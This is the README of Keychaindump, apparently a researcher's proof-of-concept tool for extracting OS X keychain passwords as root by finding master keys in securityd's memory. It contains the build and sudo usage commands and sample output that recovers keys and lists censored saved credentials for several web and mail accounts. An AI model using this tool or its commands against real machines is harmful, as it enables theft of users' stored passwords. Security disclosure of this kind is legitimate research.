Below is the README for Keychain Dump, the tool that makes this possible.
Keychaindump is a proof-of-concept tool for reading OS X keychain passwords as root. It hunts for unlocked keychain master keys located in the memory space of the securityd process, and uses them to decrypt keychain files.
See the blog post for a much more readable description.
Just use the binary file, keychaindump, or follow these build instructions.
Build instructions:
$ gcc keychaindump.c -o keychaindump -lcrypto
Basic usage:
$ sudo ./keychaindump [path to keychain file, leave blank for default]
Example with truncated and censored output:
$ sudo ./keychaindump
[*] Searching process 15 heap range 0x7fa809400000-0x7fa809500000
[*] Searching process 15 heap range 0x7fa809500000-0x7fa809600000
[*] Searching process 15 heap range 0x7fa809600000-0x7fa809700000
[*] Searching process 15 heap range 0x7fa80a900000-0x7fa80ac00000
[*] Found 17 master key candidates
[*] Trying to decrypt wrapping key in /Users/juusosalonen/Library/Keychains/login.keychain
[*] Trying master key candidate: b49ad51a672bd4be55a4eb4efdb90b242a5f262ba80a95df
[*] Trying master key candidate: 22b8aa80fa0700605f53994940fcfe9acc44eb1f4587f1ac
[*] Trying master key candidate: 1d7aa80fa0700f002005043210074b877579996d09b70000
[*] Trying master key candidate: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found master key: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found wrapping key: e9acc39947f1996df940fceb1f458ac74b877579f54409b7
xxxxxxx:192.168.1.1:xxxxxxx
[email protected]:login.facebook.com:xxxxxxx
[email protected]:smtp.google.com:xxxxxxx
[email protected]:imap.google.com:xxxxxxx
xxxxxxx:twitter.com:xxxxxxx
[email protected]:www.google.com:xxxxxxx
xxxxxxx:imap.gmail.com:xxxxxxx
...
Keychaindump was written by Juuso Salonen, the guy behind Radio Silence and Private Eye.
Do whatever you wish. Please don't be evil.